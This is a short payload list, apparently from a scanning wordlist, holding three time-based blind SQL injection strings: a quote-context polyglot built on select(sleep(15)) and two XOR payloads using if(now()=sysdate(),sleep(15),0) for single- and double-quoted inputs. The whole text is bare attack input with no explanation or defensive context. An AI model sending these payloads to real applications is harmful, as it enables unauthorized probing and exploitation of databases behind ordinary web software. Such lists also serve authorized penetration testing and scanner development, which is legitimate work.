(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
